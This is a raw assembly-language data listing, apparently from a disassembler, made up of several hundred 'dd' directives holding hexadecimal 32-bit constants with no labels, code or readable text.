		dd 0B5C2512h, 96AB0CB4h, 0E912B917h, 3CAAB74Bh,	229FDD9Ah
		dd 56E4EFF3h, 999806Dh,	0CF81712Ah, 0FA422F16h,	973FCBDh
		dd 0AC29E397h, 0E99F995Dh, 1E7280CDh, 9260A725h, 661277BAh
		dd 0ADA80F59h, 0BE020664h, 5D30F041h, 0B3F1F31h, 0A1A1149Ch
		dd 686FDD68h, 0A9C6CB1Eh, 0BFF280C8h, 0DE49FA2Fh, 7B4F0345h
		dd 0B4044DBCh, 4A501D85h, 51422D80h, 0C6254F39h, 0D4F6BB9Dh
		dd 10A0B7Dh, 0D2717AE9h, 7C7A069h, 0BD649979h, 126C380Ah
		dd 7A25A1A1h, 0E90B879Ah, 785C75F6h, 22DF2DE0h,	5DAA932h
		dd 1FC30744h, 0CF530960h, 3A015389h, 3AF18E0Fh,	0DAAE7412h
		dd 0E65E340Fh, 13BF0711h, 4BE06CE9h, 6CC3C80h, 0F6227D14h
		dd 0F529FC9Fh, 193F00EAh, 0E7D10A0Dh, 2D0E0F48h, 0A2F32098h
		dd 0BF3C802Fh, 81F0150Bh, 0A7C295Dh, 726303E9h,	912BE202h
		dd 5D8A8076h, 2F6AB715h, 60B10E9h, 14C4B95Ch, 81168C40h
		dd 5EB52959h, 0C577EA92h, 0E9150405h, 0C6CCF427h, 0B24E5826h
		dd 7E623500h, 77F00918h, 7513165Eh, 0C5190466h,	7DC8558h
		dd 996D0F2h, 89ABE5F5h,	0E5DC62B8h, 20D01F89h, 0F1705353h
		dd 57B9344Fh, 0BE63C20Bh, 0BC048F90h, 0BA61FE28h, 94AA14B0h
		dd 0DD4B05F0h, 3BADD8C5h, 0EF5A8491h, 4B9A2C44h, 1031BE12h
		dd 1F32A41Eh, 2FFDB498h, 2D0D2B00h, 4A152518h, 6D942DE9h
		dd 39209666h, 7B019DB3h, 0CED8F795h, 79F2EFE0h,	518D4409h
		dd 3922FFB9h, 0CAC85EE9h, 22677B68h, 19BB2781h,	0C2485FDFh
		dd 3E222478h, 72D945Eh,	11B3027Ch, 54515F20h, 7C7090F5h
		dd 994A402h, 0CE360E74h, 7225B274h, 62F99831h, 637C7F67h
		dd 0AD20EE4Ch, 0C1090F30h, 4F264958h, 0F3045121h, 38651C13h
		dd 64111CABh, 69310126h, 7C432758h, 0CBEB0036h,	0E9D8A796h
		dd 1D60960Eh, 4F17C4BDh, 82E1AF40h, 0A13C344h, 0F803BF09h
		dd 0EABD048Fh, 0ACD7C4C9h, 5ED12FB3h, 33C78E23h, 603A0211h
		dd 404A0E41h, 95925CD6h, 25EAC590h, 58966112h, 7BB1AA06h
		dd 632D6941h, 3C4FC457h, 0ED13D38Ah, 0B056F856h, 0B48642E9h
		dd 941490C1h, 981E275Bh, 824A40E7h, 82F6FA87h, 53046EA6h
		dd 5FEFF485h, 60FD0CE3h, 6898E66Bh, 0D434D92Dh,	0BED56554h
		dd 0A5E98657h, 0D0F70DD8h, 8948F99Dh, 43191693h, 1BBD2E21h
		dd 0E4083815h, 270AC528h, 28A92B43h, 7403A9F5h,	6F6F1FDFh
		dd 1CD0D6D0h, 5ED55808h, 557841EFh, 0ECEC476Ch,	16D2EF28h
		dd 542DE2F9h, 0AFB0D240h, 37D342Fh, 503BF89h, 1FD3C16Fh
		dd 338E8624h, 5B844938h, 0F2F4B3EDh, 0DA908B9Bh, 27C13FCDh
		dd 0D7A1409Eh, 5F66C289h, 7DF9E255h, 0DD42B68h,	0EA5B679Eh
		dd 4CF69Dh, 0CB807AB3h,	0B53B5197h, 9AF51ED3h, 75E8C34Bh
		dd 59ACF52Eh, 0ECB0F24h, 9617F8EAh, 0E0D553E0h,	40CE9D62h
		dd 3AF3081Ah, 1C941FC8h, 351E7059h, 3944965h, 4FE26002h
		dd 621E797Dh, 17CA5A81h, 5C5A8716h, 623431BEh, 9C6800C2h
		dd 9714D754h, 46EE9FB2h, 84CAEF16h, 580DD25Bh, 8512A7DEh
		dd 0DFC36446h, 67465BEh, 7B57ECDBh, 510366EAh, 0B59EB050h
		dd 0F5C484D6h, 0E20C9613h, 0B9593E79h, 100808D0h, 0D5C8E4C2h
		dd 660BEE66h, 2CECA81h,	7737A59Ch, 5C08B6C7h, 0E781009Fh
		dd 0B6D7715h, 5D9A6EF6h, 0E90490D2h, 6D184538h,	4613AE68h
		dd 0A41437ECh, 0B2C65E58h, 320A015h, 0C119E047h, 0B4201A0Ch
		dd 0A9506B2Fh, 140C6808h, 482BA431h, 4A015764h,	2128FADDh
		dd 647D1708h, 529CFF5Ch, 0B1B7677Ah, 94B27550h,	1CAFE7Ch
		dd 6E1C00Bh, 0B2526AB0h, 3BB38C1Ch, 0A5CAD317h,	6E3C001h
		dd 2057F380h, 44909E55h, 5AF2F970h, 2B19E936h, 2F7D79EAh
		dd 20D71AE3h, 0E955417Ah, 24B16BE7h, 7827B0DFh,	5F2F92B0h
		dd 686B0201h, 34F973BAh, 0E8823C8Bh, 179D195h, 0CD817574h
		dd 2F722E6Bh, 829B12B0h
		dd 5AB57080h, 0F0976508h, 8A8E97CAh, 0D1F25093h, 33501905h
		dd 0F6BC802Eh, 7F61AF5Fh, 8A54CF18h, 78E8BD6Bh,	0FA2EE2F1h
		dd 0F4172F22h, 82E90923h, 0E5AA7E4Ch, 0E82CAA29h, 6656012Dh
		dd 70E94ED9h, 0EEE58D6Bh, 0BC3F8C5Dh, 67B24A7Dh, 276DE91Eh
		dd 30D5B73Ah, 940C685Fh, 0BEFF2547h, 0D6E92D53h, 20E503C8h
		dd 583B315Ch, 71CD55A2h, 1ABE3948h, 5D10E663h, 68523B38h
		dd 3F4C940Bh, 401CDF26h, 42FDC205h, 64C13D94h, 78396CE2h
		dd 0CC19DB12h, 721F534Bh, 0AFBB5EDFh, 0F75209BBh, 55F8EFBBh
		dd 792CE95Ch, 0FA9A0A43h, 4D988E79h, 0A52AFF0Ch, 322A42AAh
		dd 21A81364h, 1092E2EDh, 0F676B500h, 0ADB753D5h, 0E8F74B80h
		dd 0C00101D7h, 0CFFE08EFh, 0A6E2169Fh, 0FD280F3Ch, 5BA7ED0Eh
		dd 60246C0h, 0C81E0365h, 0EEF0D5AFh, 80E41CF2h,	1B9EE9EDh
		dd 84FD2EE1h, 0FA77185h, 0C10D870Bh, 2E2D0C7h, 0A69EEAEEh
		dd 0B469AF1Ch, 0BC65B901h, 4AFEE951h, 635A5571h, 0BAA03604h
		dd 0F8EB0199h, 12F6D03Eh, 21EF2366h, 0EEDBF7AEh, 78A2F660h
		dd 0ED533E2Eh, 0C76D8E00h, 35850F77h, 0EB5F8FEAh, 2611691h
		dd 0BD700BC2h, 0EA801303h, 0CCD02805h, 0DD270AC3h, 0B2E19A95h
		dd 8643F37Eh, 1CF6B07h,	5E5F13C5h, 70EE017Fh, 0F681A15Dh
		dd 0FC5C63D6h, 4DCD1381h, 0BABEC504h, 0D3B27BD1h, 0BBB90104h
		dd 8B78DF34h, 5C14E682h, 2F54059h, 0D495172h, 936A50BAh
		dd 8555B417h, 0E9F291BFh, 373BFBCBh, 0E4A1ACDFh, 0E92FBD8Fh
		dd 0CFF5080h, 0AEC5746h, 1B167A0Ch, 0EBD7B4Ch, 25E90840h
		dd 15C97525h, 0C90B2FABh, 5041DC31h, 0D75C6DA9h, 9BF255Bh
		dd 0AFAF01F2h, 0B741E6C0h, 9F47F88Ah, 8FCEFED2h, 10F6DFBFh
		dd 1BF78023h, 5EE32017h, 864DFCC2h, 9A5E5FFFh, 407B6B6Fh
		dd 5FE1685Fh, 4FE6DF5Dh, 0F4C99FD2h, 0BB5D17A6h, 13948824h
		dd 0F4B7A9EEh, 8513F2BFh, 15BCD3E9h, 0CD0CCF4Ch, 0F50A7591h
		dd 493BAB3Dh, 0AD741000h, 85D9F85Eh, 0F944D78Bh, 0E6E59A44h
		dd 3B9BC947h, 4A34C268h, 9D16DF3Fh, 702754BDh, 29622F68h
		dd 5A7FE0A3h, 0C04F6CFh, 0F52118F0h, 52F6CDF4h,	0B4C13BE6h
		dd 6FDE1E4Ah, 2C85AA30h, 1CBF255Bh, 6DF5CAh, 40F63572h
		dd 7CD0D901h, 5AF05F08h, 94A74C2Ch, 1FC2B574h, 20A2B45Fh
		dd 859CC9F8h, 5B04079Eh, 0F19C09A9h, 4F1DB04Dh,	9028FA48h
		dd 4FAD6290h, 93F15B9Bh, 0BB8EB500h, 4E0AB3h, 0CB814B0Eh
		dd 72CE07EDh, 435641BDh, 6260E130h, 0E7654169h,	918C8BF1h
		dd 5C3110C3h, 522C70F1h, 0CBFC40C9h, 89419037h,	0B17126Ch
		dd 75D6F47Bh, 98D9282Ch, 0FFB875Ah, 74D9C8E5h, 27E9E3FCh
		dd 0D9766C02h, 0ACD259C3h, 14406344h, 0A9F016Ch, 0D1893395h
		dd 0C969D0F5h, 0FB586F25h, 0E4BA539Fh, 303EB1C5h, 5B92E836h
		dd 141B3501h, 9BB2800Fh, 67570A47h, 606505E2h, 40E18E56h
		dd 0BAFE5244h, 9D3FAE3Fh, 0D1C9DAF7h, 0F27901EAh, 55FE02A0h
		dd 0BDFA3D70h, 7F3D1026h, 5D3B7310h, 883EE815h,	287CEB07h
		dd 52C357D3h, 0E155B450h, 0B72AD856h, 0DF5A7B53h, 1D033053h
		dd 0B63CF042h, 0FB871368h, 0FC155245h, 0E035B7F7h, 2BF4C0ABh
		dd 5B4E6859h, 2036C5AEh, 0A2DDE934h, 81D4FFABh,	5EE178h
		dd 0E65369BEh, 0EE833031h, 7D6D4E95h, 9D2348h, 2A983CFCh
		dd 440B850h, 0E9533B57h, 5C93F054h, 966236BEh, 7261FE35h
		dd 0F9B54C50h, 117C4A1Fh, 0D5F20288h, 76382876h, 0E24124E5h
		dd 255E8973h, 9B279F60h, 31EC9774h, 5A1B7302h, 43E6D17Ah
		dd 626A8026h, 0D6313E97h, 0E6089A73h, 65081816h, 39B6D644h
		dd 50BDB398h, 64612053h, 9124DD98h, 0E288259Dh,	54570BC9h
		dd 5C156382h, 0F309A97Ah, 7D7A0223h, 63011A72h,	0E927DF06h
		dd 0D87C1FCFh, 360A90D2h, 481DA86Bh, 0F3AD16E9h, 9F3C42CAh
		dd 84E35C04h, 80C8BFD6h, 0AA05E559h, 30575316h,	6D108DE8h
		dd 4E6F48F3h, 53721FBFh, 202889C1h, 6B1CBF9Ch, 0CE6E2928h
		dd 0DC9D3E62h, 3A044F23h, 830F0226h, 0B004D2E8h, 14A616B4h
		dd 0DC0BFBA8h, 5B07D531h, 0BFF66EEFh, 547D5629h, 7C102AD4h
		dd 7488249Ah, 0AC5B660Eh, 5963D4EEh, 0DE118351h, 501D480Fh
		dd 83406264h, 1B57EBFh,	0C6B93525h, 44A3B353h, 81A4E4C9h
		dd 0DE09A0B1h, 28D95F5Bh, 5783208h, 55206368h, 0AA975A2Fh
		dd 1B3C5EC6h, 16A5E4E9h, 0E84F65CFh, 6DAB5B4Eh,	107A60BAh
		dd 75849CA8h, 7AEC0341h, 3D799D40h, 0DF9893BCh,	569351E2h
		dd 0A297BCE1h, 3222F05Eh, 0EF3761B7h, 96BD4ADEh, 64B4307Eh
		dd 417406F8h, 0BFCBE6Eh, 9517709Fh, 0FB7D3D92h,	8297B460h
		dd 0BCA9C629h, 7C49B4F4h, 0C9B04920h, 5D5E21E9h, 656161ABh
		dd 67743A38h, 5518DE04h, 0E56B5A0Dh, 1DFE7C88h,	51C9D031h
		dd 0F345F11h, 788A8B4Eh, 10B7EE04h, 5485AF44h, 0E9FCD0EFh
		dd 0A0BD89F7h, 12CC5DA6h, 0EE292EE0h, 4CBC4299h, 5B6F3FE6h
		dd 0E00C86A5h, 7A539F16h, 0B5C1A112h, 40DC5259h, 0BA0ED35Fh
		dd 7FB0E438h, 0A21CFFA1h, 0F0FC334Eh, 0E8AFC4A7h, 4BE3A82h
		dd 312AC97Ch, 837490EAh, 484F4B12h, 63685DE5h, 98FEBF25h
		dd 12770C88h, 29142C5Eh, 2AA84C4Eh, 146563C4h, 0A24D1047h
		dd 0DF3B85Bh, 0B3C6BC8Dh, 5E4998D0h, 3DB2830Eh,	38DFCBDFh
		dd 0F9C406C0h, 244039F6h, 0C7178A6Ch, 1AAC289h,	0EB7A4B94h
		dd 5B5AD830h, 0F60CF998h, 880DBF66h, 0DF50BFA1h, 225F6C97h
		dd 0FC92EA8Fh, 12564FCh, 423A0704h, 0F8C11E1Dh,	175BFEE8h
		dd 0EF28872Ch, 58B354CCh, 7916C10Eh, 0A22C12E9h, 57E58408h
		dd 0BA124B14h, 92BEF29Bh, 31168DE8h, 60F30Dh, 412F01C3h
		dd 4B6BCF81h, 176BAC5Ch, 0D9BFC00Fh, 0B3896A65h, 0CBCCE33Ah
		dd 4BA95033h, 0B4CAEA58h, 232B3420h, 98205F33h,	0FC4AA601h
		dd 5071E973h, 82C20B04h, 50268E9h, 0B9B2C4EFh, 8EA08405h
		dd 9C6B0912h, 52440C5Ch, 0A8561BC3h, 0F1BA6FD9h, 21D60BADh
		dd 0E93A2125h, 0D924FE1Eh, 5E2FEEC8h, 300F43B2h, 64129620h
		dd 0F4651AA9h, 0B2FF4A85h, 1ED0E414h, 0B5725E68h, 3433D719h
		dd 0B10BBD6Eh, 115F2B2Eh, 0F36BEE3Ah, 0E9570BECh, 2487925h
		dd 5EDF4421h, 0B5C29B42h, 0CEE90801h, 41927F52h, 3B17220Ch
		dd 0B12ED0Fh, 0A74FBC6Ah, 1F1259h, 0B0699CC6h, 63B81E6Eh
		dd 0AF919796h, 3E95DF5Eh, 0AB6A16B6h, 57CBCFF9h, 56744101h
		dd 7608620Ch, 2D82E918h, 970EABFh, 4A0AB157h, 13B08D04h
		dd 0B96F6AE1h, 369A833Bh, 0FEF4CF50h, 8098CC4h,	51F6685Fh
		dd 6F8B25E9h, 0D72D067Bh, 3A9969A2h, 80C4FE00h,	309700F4h
		dd 0B15158E3h, 0D97DF64Bh, 0E904C967h, 0D6AC4314h, 5AF58883h
		dd 408D603Bh, 46273EB9h, 148F3924h, 11057823h, 831BDC53h
		dd 89F1F8AEh, 65FE2B3Ah, 5E14A821h, 5EE97A32h, 171CA4C4h
		dd 0DD6C0B8h, 354E12E1h, 213B3E07h, 0E5B0D50Bh,	36C49529h
		dd 0F8EBD830h, 241FB353h, 27685A81h, 284096DDh,	63E28F66h
		dd 0E7892D09h, 4BB8B005h, 0BF0F451Ch, 4DEC9F8h,	0EBA0443Eh
		dd 30F94F28h, 25EB8024h, 0AA0906D3h, 0BB508ECBh, 1593DF06h
		dd 85E1123Dh, 0FED4C59Dh, 0FBEC6361h, 7D5A9552h, 46A7F567h
		dd 585734B3h, 74ECAE11h, 800F6BADh, 742F7C19h, 2109658Bh
		dd 3398996h, 70D6B2ACh,	0DEBE794Eh, 0CB148903h,	3BF61AE8h
		dd 575A107Ah, 0EC804C02h, 0F6686295h, 672C0598h, 14810D28h
		dd 2F53013h, 0A274B78Ch
		dd 0E4545142h, 276D9C4Fh, 0C916B6FDh, 0D1245C0Dh, 0D1E4C72Ch
		dd 2B663D68h, 4AB97633h, 0AF79AAF1h, 0B7E2E82Eh, 86AD890Ah
		dd 0F80F2DE8h, 0AD56956h, 85AC45DDh, 0E0D9E9C1h, 68BB5B1Ch
		dd 0AE0EB81h, 0C1604192h, 0FE5CB7DEh, 889A264Fh, 0ECDED329h
		dd 0D40284F2h, 390465D0h, 66AE242Ch, 5DFE09C7h,	6B2A14F7h
		dd 0E07F59AAh, 444F85C9h, 284AA2F1h, 5814B1CAh,	51D4F4BDh
		dd 15C35760h, 435C2A46h, 0E304170Dh, 8B83FCF3h,	54045EC2h
		dd 7AF27F10h, 313D6EC0h, 427E0461h, 1698D7E9h, 0C24B67FAh
		dd 6C55B473h, 8F1D4DB1h, 7E7C10Fh, 8F42B206h, 4D2FED0Bh
		dd 22565CB5h, 48A32058h, 7E90D280h, 95A6E8B1h, 5F084010h
		dd 0E984F821h, 0D7D2A9F0h, 2932C0C9h, 300F7702h, 0F16D6F7Ah
		dd 0CB2C0449h, 4824894Bh, 68B2B381h, 5C6648C5h,	0A8756212h
		dd 0E5CC2B6h, 0AA795FD9h, 942AC603h, 0F2126B4Ah, 0DC8C427Eh
		dd 0BD77C5C9h, 0A24037CAh, 0D19F67B9h, 21687026h, 30470A55h
		dd 78149F1Ah, 8EA06653h, 0C707F106h, 392F0B39h,	882FEDAh
		dd 6C260E5Ah, 8E8753B1h, 0F36EA4ECh, 0EDE898EEh, 0B4BC7754h
		dd 0AACAB4Bh, 44052A2h,	2F2D26E8h, 95CCF07Fh, 3754A45Fh
		dd 0BB2D7190h, 0A018EC27h, 9D7D35BCh, 809CBF4Eh, 0CA29E200h
		dd 58D1435Ah, 1D2E0FE3h, 81C34799h, 2076410Eh, 6117D146h
		dd 9BF42BD5h, 0FE1117E7h, 3310EB4Fh, 0D65B2F07h, 97046B07h
		dd 0B753B84Eh, 0BA92EBD4h, 18CA5768h, 88D96575h, 5516C0C2h
		dd 24EEF5A0h, 1394CB3Dh, 0C5FF1652h, 2A29AB27h,	0DD41E7E5h
		dd 0C5474B34h, 51455930h, 0DA059557h, 5E0095Fh,	0C7E6A0F7h
		dd 9FA9D8BEh, 9CB3A055h, 0BF4EA401h, 80CF34Ah, 6612C70Ch
		dd 0FA2748Ch, 0D72DFCD3h, 54839BA2h, 0D51DA4E9h, 0EE4BDEF6h
		dd 9AB50703h, 0C051DF09h, 0EC16F55Ah, 61E9EF4Bh, 0E13BD95Eh
		dd 9680050h, 0BC75B167h, 61061B13h, 4A4F7E5h, 8C721281h
		dd 5BC39B29h, 64F3F331h, 3BE3F84Ch, 71FA9CD0h, 52307727h
		dd 0E4B51C15h, 1859EA9h, 831EAC28h, 0BF823BE8h,	0E4E1DE6Ah
		dd 3D961F0Dh, 4F26D9E2h, 0B8D6A5F4h, 0A85CD858h, 4AEC683Eh
		dd 2014DA36h, 66D39583h, 0B4F1A813h, 0BD35C32h,	0CEF7AB1Fh
		dd 2F5C9A18h, 5410DB3Eh, 0AB0A4FEAh, 8A011CF8h,	69E68015h
		dd 0BD2E7844h, 7727CA79h, 0A3D8FD29h, 855A10Fh,	40388970h
		dd 0F3EDC076h, 513C39E1h, 0FCADD350h, 0C41B4804h, 0A61A4700h
		dd 0BEE9436Fh, 0B7178397h, 5E16B9EDh, 0FCFE0E74h, 648BB50Bh
		dd 28C1DD54h, 0D14459EAh, 0F6ECB256h, 5DCCF492h, 63A44D4Ah
		dd 0B33FE38Dh, 7D889F1Eh, 0B4DF2747h, 41B998C8h, 1251207Fh
		dd 8BBC52F0h, 59DF58Fh,	84D01EDDh, 4E495040h, 0A3AC28h
		dd 36D5B951h, 1C31221Dh, 0C28159CEh, 12ED5E20h,	10FC240h
		dd 0F5E68DE0h, 675EFEB7h, 6B678DE9h, 4152FDB4h,	27CEF479h
		dd 90BA1AD2h, 0B18024AEh, 0CB28F114h, 0A83F8682h, 3D4627E7h
		dd 1052F656h, 0BF3AE8E6h, 920B1A65h, 55591902h,	5F61C0E6h
		dd 0E95D0939h, 0D7F2C34Bh, 2AA66732h, 8C33745Eh, 8D7B66B8h
		dd 0A8A9B5D6h, 0BC335007h, 39A9DE18h, 0F099CF14h, 89C08293h
		dd 3D495505h, 45177BEBh, 3F56D08Fh, 3E5EE839h, 0E9AD61AFh
		dd 8144D6F6h, 3EEC015Fh, 82F742CBh, 0E01F76E8h,	1631E63Eh
		dd 0E7FCD13h, 3D62FC89h, 0F0FF4F1Bh, 5ADA2599h,	45686F90h
		dd 43617F5Bh, 0BA0423B4h, 0FFD2E0EDh, 27388139h, 0AB787D12h
		dd 3A216160h, 42B230h, 0BEF8DC7Ah, 0FB0BE955h, 79ADB2BFh
		dd 0E9F002D4h, 0E67D4FD3h, 0C6392AEAh, 52110B9Bh, 4E5D1BB3h
		dd 4A8C90D6h, 2ECEAE3Eh, 8B50B24Eh, 0FF6542A2h,	84889DDBh
		dd 3D4C2133h, 534CA792h, 8A0F896h, 28680B8Ah, 27E8E3FCh
		dd 41AAB02Fh, 60AB2A28h, 64C7688Bh, 0FF08EA9Bh,	1CB32C62h
		dd 0BF48E53Fh, 0F32556EAh, 8388F51Eh, 3BF52508h, 5609F283h
		dd 0F23100A9h, 6EAA685Eh, 1F5E189Dh, 0CFA5C018h, 612E2AFEh
		dd 0CA49477Ch, 68530020h, 6F772CBEh, 0E381025Bh, 36EF5E69h
		dd 1FF931E0h, 8903C50Fh, 0EDD1E1DDh, 43DD0F4Dh,	79BD29h
		dd 55F0560Ah, 0FE8AC624h, 58F42964h, 35052AC0h,	0C2812D2h
		dd 58BFEC6Bh, 0C8E91E00h, 78699FE4h, 0AF621785h, 82C30857h
		dd 7985D337h, 0C52EA4A1h, 0D190BEEFh, 2EFD3F8h,	49CE2DADh
		dd 1D41280Ch, 5E074205h, 78E5D455h, 7E9D9993h, 0E10C42F4h
		dd 0F3515509h, 7BFCE54Fh, 61B95643h, 4966F01Dh,	0B48D2C0Fh
		dd 0F85CA552h, 988B8C3Ch, 72F831B0h, 0BEBF0588h, 0C067131Eh
		dd 0EADA6504h, 9EE244Ah, 450D381h, 0DDFF014Eh, 0E7BC2A61h
		dd 70D30093h, 25714005h, 3440F0Ah, 45089807h, 85AC31E6h
		dd 7C702D0Eh, 0C66DEC05h, 88EBD529h, 0C12D807Fh, 1252D895h
		dd 61250868h, 89AA0617h, 74055E4Ch, 8F9EBD3Ch, 0EE5BFEF7h
		dd 0B42B2739h, 834A9B58h, 0DDAFE924h, 9C5DEA42h, 9376B7AEh
		dd 0FC65B8E9h, 0EDF195B3h, 7DF375E9h, 25023EE9h, 0C09BD4D2h
		dd 0B689854Bh, 9052AA2Eh, 503A5B0Bh, 7F4DBD0Bh,	802E7627h
		dd 0E9634168h, 55977ECDh, 2FBEE710h, 0DA08F3BBh, 0CE0C9616h
		dd 3A5F17A3h, 0C2A000A8h, 2D2D1C41h, 82D25A61h,	37C65D08h
		dd 3117D3FCh, 61AB5B2Bh, 64CE3Ah, 9557DFF7h, 5F8BB15Fh
		dd 0FAAFA02Bh, 6F3DB4Bh, 0A2762E10h, 94E5D53h, 737EFB04h
		dd 8BC04B61h, 1D605B2Fh, 7CD82906h, 13BCED87h, 3E99289h
		dd 7D5D17C9h, 353A155Bh, 2F487FCCh, 5F879F64h, 0E1B233FCh
		dd 4879FDCEh, 0C9038FA4h, 0A9072251h, 9B3E9B70h, 0EEE9134Bh
		dd 0A92BE5E1h, 2AE9B158h, 0BD00947Ch, 6D593EACh, 441CF581h
		dd 0F039941h, 7C48DE8Fh, 315C013Fh, 0DFE9569Dh,	7CAD63AAh
		dd 809CEBFEh, 0B6015093h, 9227444h, 3F55BD3Fh, 51333F51h
		dd 7C4BEDB2h, 270F92BEh, 8085F4D7h, 6C735B36h, 0F7F20B87h
		dd 0BDF25FD6h, 0D66D3327h, 0D18C6385h, 3DEF892Ch, 0FD0EEE09h
		dd 5F4FF194h, 514170BEh, 4B169868h, 0D9BA0DE3h,	0C8F0FC10h
		dd 89521B03h, 0A25556CAh, 3C6776D5h, 0C55EF3A6h, 38A9BC5Ah
		dd 65BF4A97h, 5A4C078Ah, 290AA29h, 68966FFBh, 38CAA082h
		dd 0EF82245Dh, 0BB23D4FFh, 1E7BBFBDh, 0D628BEE5h, 1038FC03h
		dd 32597319h, 0B40FAA4Bh, 23C0A95Ah, 69FE0922h,	628F5B8Ah
		dd 355C60CBh, 7081762Dh, 475FBDE9h, 593060FBh, 880B5B2Ch
		dd 41D6E9C5h, 0B9485519h, 88725BAFh, 0A312B46Ch, 1A8E588h
		dd 89ED80A0h, 90EF2828h, 52ABDC27h, 575A3E64h, 16796AACh
		dd 1A2AB344h, 77108FF6h, 756088C2h, 54F8255Dh, 483E3767h
		dd 72559062h, 7FC11836h, 0BF716DCh, 0FA0BF582h,	14DF6042h
		dd 1B22349h, 0FD2257A5h, 8FCA26E9h, 0DA0C5E5Dh,	89653F60h
		dd 0DF5A03BEh, 0C8278DCEh, 654C560Fh, 6BF2F15Bh, 938425F6h
		dd 23250E20h, 8D534A3Dh, 5B35E4AAh, 1973F990h, 669563FAh
		dd 5F0A827Eh, 0C72893E2h, 46E9E164h, 0EABB816Bh, 4C16758Ah
		dd 816E69ECh, 0C3DE3031h, 73F3664Ah, 5B2A0810h,	0E71672E9h
		dd 0FD93BA5Dh, 0A318054Ah, 84BAE8FAh, 0C9A0E2C2h, 2D837E7Ch
		dd 0AE5805FEh, 0F4808008h, 0F650C50Fh, 0A9018F54h, 2F9B76D5h
		dd 7F852230h, 0EEBF183h, 18C53428h, 3F3301F3h, 0EC41A46Bh
		dd 90BDD458h, 82F8752Ah, 0AB9B6077h, 25E02F3Ah,	5C499FD4h
		dd 19A082B2h, 3AF7030Eh, 20C0B16h, 5C3B0A6Ah, 0C0D7EB33h
		dd 802DD6C0h, 0C0B0C828h
		dd 0ABE8905Bh, 6FB102C6h, 0DFD7C24Bh, 0AE9537B4h, 3BA269ABh
		dd 2D56BB44h, 5EE333BEh, 7E0350D1h, 6860B4D7h, 4AB33013h
		dd 0DCE301Bh, 1700408Ch, 328E256Fh, 0EA0F0B02h,	0D55D5470h
		dd 0D5A64855h, 0B3338680h, 2D004847h, 24257BDBh, 4F1B8D0Fh
		dd 84E5ADA9h, 5D70D75Fh, 53E6EF31h, 246AE918h, 164ABB5Eh
		dd 3DB80Ah, 5E0C129Ah, 954BE944h, 0F84A9BA3h, 627D7AC7h
		dd 0E8423825h, 2D5E3990h, 18410CD2h, 81815599h,	22E5C758h
		dd 0BAD90C8h, 5FC055Bh,	76A00288h, 259F0468h, 0FA5F5450h
		dd 5061618h, 0BE56014Fh, 459D403Fh, 32853B81h, 83D6C7CCh
		dd 31D203FFh, 23E4CEB0h, 1808B130h, 1736CBECh, 38F701B5h
		dd 0C001C7E0h, 0E9F4D42Bh, 0E76F1B3Eh, 155C485Dh, 12C29671h
		dd 73EC8019h, 68FD80D7h, 9ABB0FAAh, 98541B09h, 3FA3B0C6h
		dd 2103D8F6h, 6202860Fh, 32FF1E4Bh, 924823FEh, 594D2A88h
		dd 0E96F99FCh, 0F36A7DDDh, 648A9FA6h, 7752B5DFh, 10CBBAFEh
		dd 9740E573h, 6FCCCE22h, 0D64A0709h, 7E5EF023h,	3F4A7Dh
		dd 0F86855A7h, 357B5175h, 4A0B5738h, 0CA7838FFh, 79036413h
		dd 404DF5EBh, 4B7D08E7h, 982D6100h, 0E96EF669h,	0ECA04EACh
		dd 313CA143h, 0F03F0335h, 0BD075578h, 157C5708h, 277210F3h
		dd 165E5928h, 77CDAD39h, 0FD97AF1Ch, 0F498151Eh, 441E1525h
		dd 955AFE4Ch, 32B9DC80h, 663D7257h, 0F70589C1h,	124100D1h
		dd 9727C54Fh, 8173D0F0h, 5FBCD509h, 2BC80034h, 0BF7E7633h
		dd 350057D8h, 293F869Dh, 97E0E9C2h, 98BED604h, 351A053Bh
		dd 600C25ECh, 9079ED28h, 6BD40BA6h, 0C27A3659h,	0B9510880h
		dd 0E15F14A2h, 0DD5578AFh, 93FAC2FEh, 774BED56h, 31018E65h
		dd 0E971A634h, 0EB2B6ED1h, 0C1007234h, 55A650E5h, 0E2EE4E01h
		dd 6C0DC466h, 0D4CCEC56h, 72F209E6h, 3EA5E69h, 7C0D3E2Ah
		dd 56C1802h, 5829364Ah,	41088310h, 2D43141Ch, 25ABE81Ch
		dd 0FE9255Dh, 2A3714Bh,	6B2464F1h, 99095BF3h, 1F020441h
		dd 0B5526DAEh, 659CDF0Bh, 948F558Eh, 462F2AC6h,	7A90FB82h
		dd 0FA8346E3h, 0B1FED070h, 557CA5B7h, 5BD4557Ah, 7120ABEBh
		dd 71C07276h, 0C80B3110h, 460DBD68h, 0F05862FAh, 667FECB2h
		dd 21014479h, 0B5D71B7h, 0AFD1464Ch, 9C02D3Ch, 52C65D4Dh
		dd 0F72FF690h, 6909F1C4h, 54629C52h, 0C3ADB07Fh, 586024E7h
		dd 92310E9h, 236C2D68h,	5B3BC4h, 0DE60F5D9h, 83459A5Fh
		dd 6160ED6Eh, 68B54FE3h, 63CDB8EBh, 7439301Ch, 1761B92Eh
		dd 31EE1D4Ch, 0F0884449h, 0B56EB7DCh, 0EF20E994h, 0CF800969h
		dd 46050F33h, 0CD544BAh, 3A8ABAF4h, 853E051Ch, 0EF5F35D4h
		dd 0DC95DB4Bh, 4B78237h, 0E2DF1BABh, 38E103A1h,	8175A85Ch
		dd 3F261EF7h, 32E9C9FAh, 0E521B574h, 0B431E970h, 0DBE52D56h
		dd 0DF8C368Bh, 226CA1Ch, 0BE874569h, 0CAA57303h, 7B9AB4BCh
		dd 41975186h, 3954C204h, 0ADEEC4BEh, 0F03113B8h, 0A2B35805h
		dd 52A084ECh, 27709268h, 0C33A579Fh, 20A5CC7Dh,	17902A3Dh
		dd 549DFDEEh, 2E1A425Bh, 0FE2FC4FFh, 0A98B9514h, 5CA56345h
		dd 28FD88Bh, 1C2C2491h,	2BEA52C4h, 44C61041h, 9BB5929h
		dd 0B7FA72C0h, 0CD750509h, 41E15F7Ah, 5763A735h, 0ECEC0B1Eh
		dd 97AA6ABDh, 7301A4D8h, 3D4A68D0h, 5D5F9027h, 0E88A03C8h
		dd 18E2D44Fh, 10E984A4h, 7714BD07h, 23075B4Fh, 6F15BF38h
		dd 0B012F281h, 335A8850h, 0CD7BADCEh, 0A258F38Bh, 48427596h
		dd 8378BBA0h, 0D04BB84h, 0EB135C2Fh, 47ACB412h,	39248350h
		dd 319979E0h, 7AEE98FDh, 0E1DA2EC9h, 122EC505h,	0EF39AE87h
		dd 600AAE40h, 51A7CF9h,	0BF079DC9h, 3B3BB173h, 180125E4h
